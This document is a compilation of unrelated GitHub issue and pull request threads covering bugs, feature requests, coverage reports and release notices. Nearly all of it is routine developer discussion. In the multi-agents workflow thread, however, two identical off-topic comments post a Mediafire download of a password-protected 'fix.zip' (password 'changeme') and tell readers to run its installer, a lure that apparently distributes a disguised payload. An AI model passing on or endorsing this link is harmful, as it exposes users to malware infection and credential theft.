Change naming

Utilize terminology from the Go SDK rather than introducing novel terms to describe concepts.

Codecov Report
All modified and coverable lines are covered by tests :white_check_mark:

Project coverage is 80.63%. Comparing base (2e1c227) to head (86b796d).
Report is 1 commits behind head on main.

:exclamation: Your organization needs to install the Codecov GitHub app to enable full functionality.
Additional details and impacted files
@@            Coverage Diff             @@
##             main     #177      +/-   ##
==========================================
- Coverage   80.65%   80.63%   -0.02%
==========================================
  Files          65       65
  Lines        7221     7226       +5
==========================================
+ Hits         5824     5827       +3
- Misses       1058     1059       +1
- Partials      339      340       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

@duke-git Please review


add ASM Peak EWMA algorithm

add ASM Peak EWMA algorithm

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.zehuan.szh seems not to be a GitHub user. You need a GitHub account to be able to sign the CLA. If you have already a GitHub account, please add the email address used for this commit to your account.You have signed the CLA already but the status is still pending? Let us recheck it.


GUI \ App bug when filtering too quickly

Describe the bug
When you filter too quickly while the table is loading the table UI freezes and never shows any output.
To Reproduce
Steps to reproduce the behavior:

Open a big table (with lots and lots of data)
Here usually the app takes a while to load the results and impatient people like me click on the filter button to add a filter while it's loading.
This results in the UI bug where results are not listed and this table becomes generally unusable and closing the table tab and opening it again now shows filters row twice also app performance is greatly reduced from that point on.
This bug is resolved \ avoided if you restart the app and patiently wait until table has rendered and then start using the filters.

Expected behavior
Can use the filters while the table is loading, but without breaking the app and apply the filters immediately after  the table has loaded.
Screenshots

Application (please complete the following information):

App client [e.g. MySQL]
App version [any recent version]
Installation source: [deb package]

Environment (please complete the following information):

OS name: [Linux - PopOS]
OS version [latest]

Hi Danny,
actually the bug is that you can use the filter during loading.
It is not possible to apply filters to the running query without re-executing it with the new where clauses.
I fixed it by disabling the filter during loading to avoid overloading the database


Textarea's width prop is not being rendered out properly

<GoATextArea name="description" rows={6} width="100ch" value="long text" onChange={() => { }} />

Probably fix
Change
.root {
  width: 100%;
}

to
.root {
  width: var(--width, 100%);
}

:tada: This issue has been resolved in version 1.17.0-alpha.42 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 4.17.0-alpha.22 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 4.20.3 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 1.20.4 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 3.0.0-alpha.4 :tada:
The release is available on:

npm package (@alpha dist-tag)
GitHub release

Your semantic-release bot :package::rocket:

:tada: This issue has been resolved in version 3.0.3 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Switch from Zotero citekey to BBT format?

Sorry if this has been posted/answered elsewhere, but I haven't found it. I recently installed BBT and selected the option to keep Zotero citekeys (due to a previous article I had written with Zotero citekeys in place). I've since regretted making this decision, but I can't see an easy way to switch to BBT format citekeys. I seem to remember the installation instructions saying this would be possible, however I do not see how to do this in the Preferences (when I try to replace "Zotero.clean" with anything else, it doesn't work).
Thanks in advance!

Here's my debug log, but not sure it's necessary: D60092916

Hi there. I closed this as I figured out the answer to my own question. I misunderstood the documentation, but I have now figured out how to configure the cite keys to my liking. Feel free to close this (as the bot wouldn't let me).


Multiple set state call fail

Immer version:1.3.0
React version: 16.3.2
My page contain a dropdown ( response to state.dropdownOpen ), when I click on user item on dropdown will open a profile modal ( response to state.openProfileModal).
The problem is when I click on "user item" this.toggleProfile() will be call, but this.toogleDropdown() will be call after that ( because every time an item is clicked, the dropdown will try to close itself ). This will make 2 subsequent call of setState, and I found out only the last one ( toggleDropdown ) make effect. Result is modal is not showup but the dropdown is closed.
toggleDropdown() {
    this.setState(produce(this.state, (draft) => {
      draft.dropdownOpen = !draft.dropdownOpen;
    }));
  }
toggleProfileModal() {
    this.setState(produce(this.state, (draft) => {
      draft.openProfileModal = !draft.openProfileModal;
    }));
  }
render(){
 return
    <div>
      <EditModal
                 open={this.state.openProfileModal} toggle={this.toggleProfileModal}/>
      <Dropdown
                 open={this.state.dropdownOpen} toggle={this.toggleDropdown}/>
    </div>
}

setState is async, so to update based on the previous scheduled state one should use this.setState(state => produce(state, draft => {}))

Thanks, your solution work, and to be safe, I think while using immer I should change all
this.setState(produce(this.state, draft => {}))

to
this.setState(state => produce(state, draft => {}))

right ?
because multiple setState call sometime happen unexpectedly.
Only 1 more question: does this approach affect performance

Whether it affects performance doesn't doesn't matter until you can proof
otherwise 😊
Op wo 27 jun. 2018 18:33 schreef kduy969<EMAIL_ADDRESS>
Thanks, your solution work, and to be safe, I think while using immer I
should change all
this.setState(produce(this.state, draft => {}))
to
this.setState(state => produce(state, draft => {}))
right ?
because multiple setState call sometime happen unexpectedly.
Only 1 more question: does this approach affect performance
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/mweststrate/immer/issues/164#issuecomment-400744410,
or mute the thread
https://github.com/notifications/unsubscribe-auth/ABvGhFg3AiQNj_n1xOwKK5nLs8VfALnqks5uA7PwgaJpZM4U5c3Z
.

Thanks, I will figure out later.


Latest version is broken on NPM

When you try to install v5.0.1 from NPM, it doesn't download the actual code.
$ ls node_modules/gulp-print
LICENSE      README.md    package.json

Odd, thanks! Looking into it

Fixed. Thank you for reporting this.


Add multi-agents example using workflows

Use case: Writing a blog article
Tasks:

[ ] Create the python backend of a workflow based multi-agents example
[ ] Connect it with the existing chat UI
[ ] Render the agent's thinking process grouped per agent (just showing the process, no interaction)

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Would we ever want a lazy flag added to the napari_get_reader hookspec?

Thinking about this more and work in this repo - would we ever want a lazy flag added to the napari_get_reader hookspec?

help me understand what you're envisioning...  what would the flag do?  (and by flag do you mean another positional argument in the function signature?)

flag would be a positional argument in the function signature
def napari_get_reader(path: PathLike, lazy=False) -> Optional[ReaderFunction]:

that plugins could do what that want with - (we wouldn't have control) - but they could in theory decide to provide data back in a lazy or non-lazy fashion. Say I point at a directory of png, do you want lazy or non-lazy loading into a dask or numpy array respectively. We'd pass the value according to our open_lazy / shift drag & drop options.
I think we can see how things evolve before committing, but putting it out there

I'm not sure how well that loose of a contract would work.  Plugins can already provide lazy data if they want to (by just returning a dask array) or non-lazy if they want to.  So it's unclear why they need a new argument in the hookspec, particularly if it's optional for them to honor it.  but let me know if I'm missing a nuance here

I tend to agree with you, but to keep pushing - the argument is that this would then let users decide which one to use in a given circumstance without having to do any additional sorting / enabling / disabling, and it would let a plugin switch back and forth between either mode.
I guess the big question is are there circumstances when you'd want to be able to flexibly choose or can the plugin always choose for you based on the path? I'm thinking of times when the additional overhead of being lazy isn't worth it if it's not that big a deal to load it all in and then have everything else be much faster. Maybe it also depends how good caching is, which I guess the plugin has to be responsible for.
Or do we have napari-io and napari-io-lazy - that seems like less than optimal if we had to have two repos. If we could get that both from one repo that might be nicer - thinking about this comment https://github.com/napari/napari/pull/1023#issuecomment-599152375

I like push-back :)
I do think it would be nice to give some user control over laziness... but i wonder if that shouldn't be something we handle for the plugins, instead of passing a lazy argument to the plugins that they may or many not abide by (as a side-note: I think it's asking too much to expect all plugins to offer both lazy and non-lazy implementations, so we almost have to make it "optional" for plugins to pay attention to the lazy argument, and I don't love that).
However, we might already be well-equipped to handle this internally since napari_get_reader expects a function to be returned, and not the data.  We could potentially wrap that function in dask.delayed and "lazify" plugins (kinda doing what dask_image.imread does, but wrapped around our plugin infrastructure).  The only tricky bit there is the handling of stacking behavior (but that's tricky in general when 3D images are laid out in 2D chunks in memory).
If you like that idea, me know if you want me to play with that or if you want to give it a shot

napari_get_reader expects a function to be returned, and not the data. We could potentially wrap that function in dask.delayed

Interesting idea, but I think we should hold back on that for now until we have done more work around our async stuff more broadly - see https://github.com/napari/napari/issues/845 for example.


Check camera_projection logic and reuse astrobee_fsw code when possible

          My biggest concern here is that I couldn't figure out where this function handles the camera distortion. And I think instead of trying to reinvent this logic, we should use some existing functions:

https://github.com/nasa/astrobee/blob/1a0b93a73d6dcfe932da127d2678724e0f9aa542/localization/camera/include/camera/camera_model.h#L45 - Convert from 3D point to UNDISTORTED_C 2D
Compare to undistorted half-width to check if in FOV per Oleg's comment
https://github.com/nasa/astrobee/blob/1a0b93a73d6dcfe932da127d2678724e0f9aa542/localization/camera/include/camera/camera_params.h#L178 - Convert from UNDISTORTED_C to DISTORTED

(Ryan and Oleg are the experts on this. My concern is that the math is tricky and we want to consistently use the well-tested implementation. And even if we use the existing implementation, I would still be a bit concerned about possible corner cases in checking whether the point is within the FOV, things like math blowing up if the point is right behind the camera. Ryan has thought about that kind of thing a lot.)
Less critical issues:
Logically, the outputs from this function could be floating point pixel coordinates. Not sure why we are forcing them to be rounded to an integer. That could be up to whoever is using the function. Like if they have an image and want to look up the value at the resulting XY position, they could choose to round to the nearest integer and use that pixel value (nearest neighbor lookup), or they could do something more sophisticated like interpolating using the surrounding pixel values.
It would be easier to understand if the function returned an Eigen::Vector2D (or similar) rather than using reference arguments as outputs. If an error is possible, it could return a std::optional<Eigen::Vector2D> with an error represented by an empty value (which is nice because any attempt to use the empty value will cause a run-time error). https://google.github.io/styleguide/cppguide.html#Inputs_and_Outputs
Originally posted by @trey0 in https://github.com/nasa/isaac/pull/70#discussion_r1060660878

Hm. The plan above was a bit off. Addressing your comment and Oleg's at https://github.com/nasa/isaac/pull/91#discussion_r1196699834 . I should have said:

https://github.com/nasa/astrobee/blob/1a0b93a73d6dcfe932da127d2678724e0f9aa542/localization/camera/include/camera/camera_model.h#L45 - Convert from 3D point to UNDISTORTED_C 2D
https://github.com/nasa/astrobee/blob/1a0b93a73d6dcfe932da127d2678724e0f9aa542/localization/camera/include/camera/camera_params.h#L178 - Convert from UNDISTORTED_C to DISTORTED
Compare to distorted half-size as in the later part of IsInFov(), but now the comparison is correct because we are comparing to distorted coordinates. https://github.com/nasa/astrobee/blob/1a0b93a73d6dcfe932da127d2678724e0f9aa542/localization/camera/src/camera_model.cc#L114


Lazy loading attribute

Considering add lazy loading attribute to img tag for browser who support it, otherwise load the lazyload js.
Something like:
if ( // check if browser support lazy loading attribute ) {
} else {
  // browser doesn't support it, so load the lazyload js
}

As it explained here: lazy loading article
Although current caniuse still around 70%: caniuse
I think it would be great if it was implemented by default without needing to edit the JS every time we set up the starter theme.

This is on our roadmap and actually more like air-helper related issue.
I have moved your issue here.


Image not found v5

🔍 Is there already an issue for your problem?

[X] I have checked older issues, open and closed

📝 Description
After updating to v5 from 4.6.1 using brew I constantly get an error:
Uncaught Exception:
Error: Failed to load image from path '/Applications/Gitify.app/Contents/Resources/app.asar/assets/images/tray-idleTemplate.png'
at IpcMainImpl.<anonymous> (/Applications/Gitify.app/Contents/Resources/app.asar/main.js:85:25)
at IpcMainImpl.emit (node:events:513:28)
at EventEmitter.<anonymous> (node:electron/js2c/browser_init:2:81099)
at EventEmitter.emit (node:events:513:28)

🪜 Steps To Reproduce
Update from 4.6.1 to v5 using homebrew
ℹ System Info
M1
os: latest

📸 Screenshots

It seems to work when reinstalled.

Thanks for reporting @nandi95 .
I had a similar, but slightly different experience. When updating via homebrew from 4.5.1 to v5.0.0, I got a similar prompt ~5 times. The updated app worked fine without the need to reinstall.
We'll keep our eyes out for other similar reports

I upgraded two devices to v5.1.0 this morning.  One device was a smooth upgrade, another had the same image not found prompts.  relaunching the app worked.  we'll need to dig a bit deeper it seems.

The maintainers haven't seen this issue reoccur today after performing v5.2.0 upgrades.  Will close this issue, but happy to reopen if/when it may reappear

My latest working theory is this error will occur when

Gitify is running
performing a brew upgrade to update outdated casks.

Reading through the Brew cask guides, the below call-out for quit commands seems to correlate with our experience
> (does not run when uninstall is initiated by brew upgrade or brew reinstall)

Proposing some changes to our cask file to should help 🤞  this: https://github.com/Homebrew/homebrew-cask/pull/173061

Cask changes have been merged https://github.com/Homebrew/homebrew-cask/pull/173061
Will close after our next release

Tested successfully with v5.6.0 brew cask update


Parameter Initialization for Mean Teacher

Thanks for sharing this excellent work!
I have a question for the parameter initialization in this Teacher-Student paradigm:

At the very beginning of training, the parameters for the Teacher net are initialized by that of the Student net, as in https://github.com/charlesCXK/TorchSemiSeg/blob/main/exp.voc/voc8.res50v3%2B.MeanTeacher/network.py#L30.
Under this case, will the copy destroy the original setting? The parameters (of the semantic segmentation head) for the Teacher and Student are initialized differently as you said, but they are now unified by param_t.data.copy_(param_s.data).

Looking forward to your clarification! Thank you

Hi, the segmentation head of two networks in CPS are initialized differently.
In Mean Teacher, the teacher and student network are just the same (including the segmentation head) at the very beginning.

Thank you for your reply!
I would also like to ask about the weight parameter for the CPS loss. I tried your method on another dataset and it turns out that this weight parameter plays a very important role in the final scores (e.g., it might vary more than 10% mIoU). Is this normal? Any suggestion for selecting the best possible weight parameter?

Yes, the weight for CPS loss is very important. Please see Figure 4 in our paper for ablations on the CPS weight.
When I conducted experiments, I tried to make the re-weighted CPS loss has a similar value to the loss on the labeled data. You could try more weights around that weight according to the final performance.

Got it. Thanks for the suggestion!

Hi, @charlesCXK.
I wonder about the comment you said "I tried to make the re-weighted CPS loss has a similar value to the loss on the labeled data.".
Intuitively, I presumed what you tended but I want to know theoretical reason for this.
Is there any paper about the magnitude of unsupervised loss?
Thank you.
Jihwan


feat: show the View Document Source context menu item if site is a Franklin site

The "View Document Source" context menu item if the site in the current is a Franklin site: even if you have no config for it, it should be possible to view the source, i.e. we must "guess" if the site is ours. Check if scripts.js, styles.css and main > div.section should do the trick.

:tada: This PR is included in version 6.4.0 :tada:
The release is available on:

GitHub release
v6.4.0

Your semantic-release bot :package::rocket:


feat: updates cache

What
feat: updates cache

:tada: This PR is included in version 0.18.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Fix increment in sctp_connectx_helper_add

Increment should use sizeof(struct sockaddr_conn) instead of
sizeof(struct sockaddr_in6).

@tuexen Can you take a look? This and https://github.com/sctplab/usrsctp/pull/209 were found when trying to build without IPv6 support.

@taylor-b Sure. Both look good and are merged. Thanks a lot!


Certificate based authentication

It would be nice to have certificate based authentication in addition to user/pass.
No idea if the functionality works in CouchDB though (see https://issues.apache.org/jira/browse/COUCHDB-1448).

This library is now end-of-life and this issue won't be fixed.
This issue has been tagged EOL in case any forks want to import it.


Adding @florianvazelle as maintainer and codeowner

Description
Adding @florianvazelle as maintainer and codeowner
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Florian Vazelle agreed to be a maintainer of  opensearch-py. And also received 5 positive votes from other maintainers.

@florianvazelle please accept the invitation, https://github.com/opensearch-project/opensearch-py/invitations


import zio-delegate

One remaining issue is that I would like to keep my current readme, but I'm not sure where to include it.
Do we want to go for a docs directory that we link to from the main readme or something like that?

Regading the docs I think it would be a good idea to create seperate pages for each macro and link from the main README.

Regading the docs I think it would be a good idea to create seperate pages for each macro and link from the main README.

I've updated the readme / docs. Take a look whether you like them like this

I think it might make sense to merge delegate / addressable into one core package as they are all dependency free. That would also make usage easier

@mschuwalow Last remark to make sure releases are optimized and then it's good to go. Great work!

@mschuwalow Merging and releasing v0.0.6 :tada:


test_no_fd_leak fails on CentOS Stream 8

Fails test_no_fd_leak while building on CentOS Stream 8: https://cbs.centos.org/kojifiles/work/tasks/9987/2689987/build.log
Not sure what causes the failure, it passes the build on CentOS Stream 9: https://cbs.centos.org/kojifiles/packages/python-sh/1.14.2/5.el9/data/logs/noarch/build.log
FAIL: test_no_fd_leak (__main__.MiscTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/builddir/build/BUILD/sh-1.14.2/test.py", line 2856, in test_no_fd_leak
    self.assertEqual(baseline, num_fds)
AssertionError: 22 != 20

Strange, but thank you for reporting. It is a flaky test by nature (too flaky to run on macos, because it tries to get a baseline number of file descriptors for the parent process before launching the subprocess.

Also failing in CI/CD pipeline: https://github.com/amoffat/sh/runs/6879109379?check_suite_focus=true

Closing this one because there's very little debug information. If it pops up again, we should now get better output in the error logs.


Insufficient info on behavior when importing data

there's a note "This information applies only to the application of default dimensions in the application. If you import data by using Microsoft Excel or the Data Management Framework, the behavior differs." but no link to where information on the behavior when you are importing data, which is what I'm looking for.

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 9f869f0f-afc1-e32b-94d0-aeb31ebb0dbb
Version Independent ID: d8896ca5-32ad-5847-e131-815e140c8471
Content: Financial dimensions and posting - Finance | Dynamics 365
Content Source: articles/finance/general-ledger/Default-dimensions.md
Service: dynamics-365-finance
Product: ****
Technology: ****
GitHub Login: @aprilolson
Microsoft Alias: aolson

Thank you for your comment. @aprilolson can you please review?

Closed as won't fix.


Support WebSocket reconnection for live frame logs

This feature is implemented with reconnecting-websocket library.

Great! Let me do some local testing and when all is good, I'll merge it :-) 👍

Thanks @moznion 👍

Thank you for accepting this!


fix: contract retrieval from abi

What I did
improved error checking when using just an abi to retrieve contract
How I did it

How to verify it

Checklist

[x] All changes are completed
[x] New test cases have been added
[x] Documentation has been updated

Oh I finally see the problem. We are loading ABI from the str but never initializing a ContractType and then we reach the condition causing the failure, probably a result of a bugfix


GH-2815 Gracefully handle DBPedia returning a LANGSTRING without a language

Signed-off-by: Richard Eckart de Castilho<EMAIL_ADDRESS>GitHub issue resolved: #2815
Briefly describe the changes proposed in this PR:

Added a unit test illustrating the problem
Added a fix which silently falls back to using STRING as the data-type if no language is given despite the result claiming a langString type

PR Author Checklist (see the contributor guidelines for more details):

[x] my pull request is self-contained
[x] I've added tests for the changes I made
[x] I've applied code formatting (you can use mvn process-resources to format from the command line)
[x] I've squashed my commits down to one or a few meaningful commits
[x] every commit message starts with the issue number (GH-xxxx) followed by a meaningful description of the change
[x] every commit has been signed off

Ok, the JSON parser now also has the test and the fix.

Turns out I can't push to your fork (or at least gh CLI won't let me) - closing this and using a new branch / PR (#2825) instead.


Add support for AssignPublicIp

Fixes #37
This PR add supports to assign on public IP to an ECS task.

thanks @annuh!


Add option to store captures in temp directory

Add option to save to temp directory for images and videos.

+1 this is probably a better option for most apps rather than saving to documents directory

Thanks a lot!


feat: support set grpc server config by env

What this PR does / why we need it:
support set grpc server config by env
Specified Reviewers:
/assign @sfwn

/approve


Add Breast Cancer Risk Calculator

Describe
this calculator calculates a Breast Cancer risk score that helps to determine the type and frequency of screening required.
CheckList

[x] I'm a JWOC'24 Contributor
[x] I've checked the existing issues, this issue is not a duplicate

@swetasingh8844 assigned


refactor: use state snapshots

interpreter.state is deprecated. Use interpreter.getSnaphot() instead, so we remove warnings in the urql PR

Codecov Report

Merging #1236 (2e6923d) into main (40e503c) will not change coverage.
The diff coverage is 80.00%.

@@           Coverage Diff           @@
##             main    #1236   +/-   ##
=======================================
  Coverage   94.77%   94.77%
=======================================
  Files          48       48
  Lines        6929     6929
  Branches      450      450
=======================================
  Hits         6567     6567
  Misses        362      362

Impacted Files
Coverage Δ

packages/core/src/client.ts
79.54% <0.00%> (ø)

packages/core/src/machines/change-email.ts
100.00% <100.00%> (ø)

packages/core/src/machines/change-password.ts
100.00% <100.00%> (ø)

packages/core/src/machines/enable-mfa.ts
100.00% <100.00%> (ø)

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Feature: Double Click Callback

My current scenario that I am trying to enable is a search result grid.  (I need the filtering a sorting abilities of a grid, but none of the editing abilities.)
Basically, want the grid to show a single line selection (multi-select=false).  That works great.
Then I want to the user to double click on a search result.  That will result me loading the full record for that item into another control.
It would be nice to have double click fire a callback with the row that was double clicked.
Others would probably want the cell that was double clicked too.

Yes, I had that before.
But then the grid was very manual, and not it does all the filtering/sorting for you.
But it should be that hardest part for me to add

gave this another though, what if I add a event aggregater into the grid, and you can set under options what event should be called when someone double clicks?
This way its not locked to 1 function, but you can use it in other components to to listen for the event

In demo "002" I have

row-on-dblclick="onDblClick"

added, this is the name of function in my page, this will now get called with the argument "row" and this is the row of the doubleclicked in the collection binded to grid, not the row number i grid if you have sorted/filtered.
Could this be usefull


Patch and plugin updates

Codecov Report

Merging #233 into master will increase coverage by <.01%.
The diff coverage is n/a.

@@            Coverage Diff             @@
##           master     #233      +/-   ##
==========================================
+ Coverage   97.53%   97.53%   +<.01%
==========================================
  Files          24       24
  Lines         891      892       +1
  Branches       60       60
==========================================
+ Hits          869      870       +1
  Misses         22       22

Impacted Files
Coverage Δ

core/src/main/scala/io/iteratee/Enumeratee.scala
100% <0%> (+0.46%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update a06557d...fd470f6. Read the comment docs.


[Unit Testing]: Possible Missing Test Condition in ut_seattlelib_time_interface_updatetime_before_registermethod.r2py

ut_seattlelib_time_interface_updatetime_before_registermethod.r2py
The unit test above verifies that an exception is raised if time_interface.time_updatetime() is called before a time method is registered with time_interface.time_register_method() (a requirement of using time_interface.r2py):
https://github.com/SeattleTestbed/seattlelib_v2/blob/master/tests/ut_seattlelib_time_interface_updatetime_before_registermethod.r2py#L10-L14
It makes sense to assume that time_register_method() is not called if ut_seattlelib_time_interface_updatetime_before_registermethod.r2py is the only module that is executed, but does this assumption hold if this unit test is tested along with the others as a group?  What if a time method is registered in another module that this unit test imports?
Should this unit test raise an exception, or test failure, if time_interface.time_updatetime() doesn't raise an exception? (assuming, of course, that time_register_method() hasn't been called.)

Other processes / unit test scripts that call the time functions don't interfere with this script. They are all separate programs that don't share any active state.
The last observation is spot-on. The test absolutely must raise an error (or print a message) if time_interface doesn't complain. In the current version, both an expected error and no error at all lead to the same conclusion --- PASS.

@karthikgvss will work on this.

Fixed in 4c6a5a2c17117d68c8c3c3c0b90b6e1c5106881e / #160. Closing this issue.


[ROS2] Global MoveIt2 Object

Currently, each behavior that needs access to MoveIt (from pymoveit2) creates its own MoveIt object. This works fine as long as the programmer is very careful, but if they make a mistake (e.g., but two Moveto behaviors in a Parallel composite) it can mess up. Therefore, we should instead have one global MoveIt object. However, the downside of this is that constraints set by one MoveTo action might still be there for another (e.g., if one MoveTo branch of the tree gets terminated), so maybe we need to add a clear constraints decorator as well.

Upon discussion, we think the best way to approach this is to have the MoveIt2 object be at the blackboard root, and have a behavior at the beginning of every MoveTo tree that first checks if that blackboard variable exists and, if not, creates it.


Sending User message to other instances of user account

We are developing a chatbot using botmaster and Watson Conversation. We have an account based user sessioning. Currently assigning the botmasterUserId to accountId.
Watson is sending correct conversation even on multiple tabs or devices which is great. However we also want to send user message to other instance of the account user
so that the conversation will have a smooth flow of chat. Any idea if this is possible?

I just found out a solution to this. Closing this issue now


Preserve Source File Timestamps on Upload to Blobs from Windows

Which version of the AzCopy was used?
Note: The version is visible when running AzCopy without any argument
10.19.0
Which platform are you using? (ex: Windows, Mac, Linux)
Windows
What command did you run?
azcopy copy
Note: Please remove the SAS to avoid exposing your credentials. If you cannot remember the exact command, please retrieve it from the beginning of the log file.
What problem was encountered?
azcopy loses the original file metadata for Creation, LastWrite, and LastAccess.
How can we reproduce the problem in the simplest way?
Just copy the file from windows to azure storage
Have you found a mitigation/solution?
No
This issue stil persist, I don't know why https://github.com/Azure/azure-storage-azcopy/issues/1039 has been closed. Posix properties can be retained only for Linux/Blob storage, not for windows. There is no option for retaining timestamp metadata from source file system.

Backend supports only setting the last modified time and not creation/access time.
Last modified time can be preserved on linux based system but it might not work when you upload through windows.

Can you validate LMT is preserved or not when you upload from linux system.

Yep, I know that it' not working on Windows. That's why I have reopened this issue.

.

LMT persistence is a part of POSIX properties preservation, which gets stored in metadata. It is not actually setting the LMT on blobs. POSIX property preservation is not possible on Windows, because Windows does not support the concept of POSIX properties. Windows, insteads, supports SMB properties. SMB properties preservation is supported on Windows when targeting Azure Files.
That all aside, the Blob service doesn't support setting LMT for real; it's only updated when the blob itself is modified. If you'd like to see that supported service side, the Azure Storage team would love to hear your feedback!

Is there a way to preserve SMB properties on windows when uploading to Azure Blob Storage then if POSIX is not supported on Windows? This is a very important feature for Windows users and yet the issue is closed. SMH!


Connection failed: transport: authentication handshake failed: x509: certificate has expired or is not yet valid

Hello Team,
I'm using EFLOW 1.4LTS and facing the following issue. The service was running for some months, but currently when the we try to run the command Connect-EflowVm or any other command to interact with the VM I get the following:
PS C:\Users\A001717 Connect-EflowVm
 - Configuration 'clientCertificateThumbprint' is not present. A default will be applied.
 - Configuration 'serverCertificateThumbprint' is not present. A default will be applied.
 - Configuration 'serverCertificateThumbprint' is not present. A default will be applied.
 - Configuration 'clientCertificateThumbprint' is not present. A default will be applied.

[01/03/2023 11:24:08] Exception caught!!!

F:\Azure IoT Edge\nodectl.exe  compute vm list -o tsv --query '[*].name' failed to execute [Error: rpc error: code = Unavailable desc = connection error: desc = 'transport: authentication handshake failed: x509: certificate has expired or is not yet valid: current time 2023-01-03T11:24:08+01:00 is after 2022-11-20T09:51:03Z'] at line 3939

[01/03/2023 11:24:08] Exception caught!!!  - Failed to SSH into virtual machine. Virtual machine name could not be retrieved. at line 2789

Hi @yujinkim-msft,
Thanks for reaching out. On some of our older deployments, we are noticing a communication handshake failure due to the expiry of a previously installed cert. Please check <IP_ADDRESS>13 Release notes for the workaround.
Thanks,
Francisco

Hi @fcabrera23,
I ran into the same issue on version <IP_ADDRESS>12 trying to run Connect-EflowVM. We've this on multiple installations.

But didn't succeed running updateWssdCert.ps1.

I did try to add -Force -Confirm flags so it succeeds to stop the service.
Though it seems not to find the path .wssd\nodectl.
On this machine the .wssd folder does exist, but it's empty.
Any thoughts how to go forward?


Fix dimension order of MVBS dataset

This PR:

fixes dimension order of MVBS dataset

should be (channel, depth, ping_time), but was (channel, ping_time, depth)

fixes torch warning by using tensor.clone() for instantiating a copy

Codecov Report
Attention: Patch coverage is 0% with 4 lines in your changes missing coverage. Please review.

Project coverage is 40.39%. Comparing base (32d2ff4) to head (a7881fe).

Files
Patch %
Lines

echodataflow/stages/subflows/mask_prediction.py
0.00%
4 Missing :warning:

Additional details and impacted files
@@            Coverage Diff            @@
##           realtime     #122   +/-   ##
=========================================
  Coverage     40.39%   40.39%
=========================================
  Files            41       41
  Lines          3050     3050
=========================================
  Hits           1232     1232
  Misses         1818     1818

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


Replace jQuery dependency with ES6+/Typescript, Babel and bump Webpack to version 5

Is your feature request related to a problem? Please describe.
The Foundation project starts feeling a bit bloated generally. But first and foremost I feel jQuery is a preference that not everyone has, I'm one that don't like it at all.
There should be no default preferences in the Foundation project, there should be best practices only!
The first thing we have to do is remove and redo stuff.
Describe the solution you'd like
The goal of the project should be to show the best practices, that can be the starting point without the need of removing and redo a lot of stuff, and I guess that is the goal.
The best practices should be:

use ES6+ or Typescript, not jQuery! Everything in Foundation that is jQuery seems to be achievable in ES6+/Typescript.
run the latest Webpack 5, since it's released and will be the de facto standard the coming years, it has some nice new features like default asset modules that replaces some of the old loaders.
provide good defaults for Babel and its presets, to showcase how to add plugins to Babel, like a .babelrc or similar.

Asset Modules
Asset Modules is a type of module that allows one to use asset files (fonts, icons, etc) without configuring additional loaders.
Prior to webpack 5 it was common to use:

raw-loader to import a file as a string
url-loader to inline a file into the bundle as a data URI
file-loader to emit a file into the output directory

Asset Modules type replaces all of these loaders by adding 4 new module types:

asset/resource emits a separate file and exports the URL. Previously achievable by using file-loader.
asset/inline exports a data URI of the asset. Previously achievable by using url-loader.
asset/source exports the source code of the asset. Previously achievable by using raw-loader.
asset automatically chooses between exporting a data URI and emitting a separate file. Previously achievable by using url-loader with asset size limit.

I agree this should happen as well.  JQuery should not be required in modern projects and webpack 5 should be used.  We would probably need some help validating this once there is a branch ready if you would be open to providing feedback.

Sure @lunchin — I’ve might have some ideas that you might feel is interesting, on how to do some related stuff too, like cache-busting resources in webpack and add those in master-layout etc.
And generally, the jQuery show/hide stuff is easier to solve with classes or aria-attributes (like accessibility stuff on toggling menus, like if mega-menu is visible) so the rewrite of jQuery and accessibility rework of markup could preferably be combined... 😉


Add ownership to STAC search

Recognizes an ownership option within the following values:

'ownedByOrganization'
'sharedWithOrganization'
'availableForPurchase'
'publiclyAvailable'

Docs are included.
Example
stac_items = client.search(
    instrument_mode="spotlight",
    product_type__in=["SLC", "GEO"],
    collections=["capella-open-data"],
    ownership="ownedByOrganization",
    limit=2
)

Invalid options
Will display the following warning:
- 🛰  Capella Space 🐐 - WARNING - ownership option someNotSupportedOption not supported ... omitting

coverage: 95.879% (+0.05%) from 95.833%
when pulling 13bf171df3ebba1c53f52584998d58a3875c6701 on seanmurph:feature/ownership-search
into 6a74b0788a2a5a7f7e3c36271fbfdc56aea41d5a on capellaspace:main.

cc @grmpflh27, let me know what you think :)
I didn't have permission to push directly, so a PR from my fork.

@grmpflh27 Thanks for the great suggestions! Pushed updates.


ci file

Hi @antononcube , here is SparrowCI pipeline for alpine linux container, 2022.07/2022.12 rakudo versions

Thanks!
You need to add this repo to your SCI account to get new builds


Revert "[BugFix][cherry-pick][branch-2.5] Set ColocateGroupSchema bucketNum to the calculated num (#27086)"

Reverts StarRocks/starrocks#27496

[FE PR Coverage Check]
:disappointed: fail : 3 / 5 (60.00%)
file detail

path
covered_line
new_line
coverage
not_covered_line_detail

:large_blue_circle:
com/starrocks/server/LocalMetastore.java
3
5
60.00%
[2184, 2185]


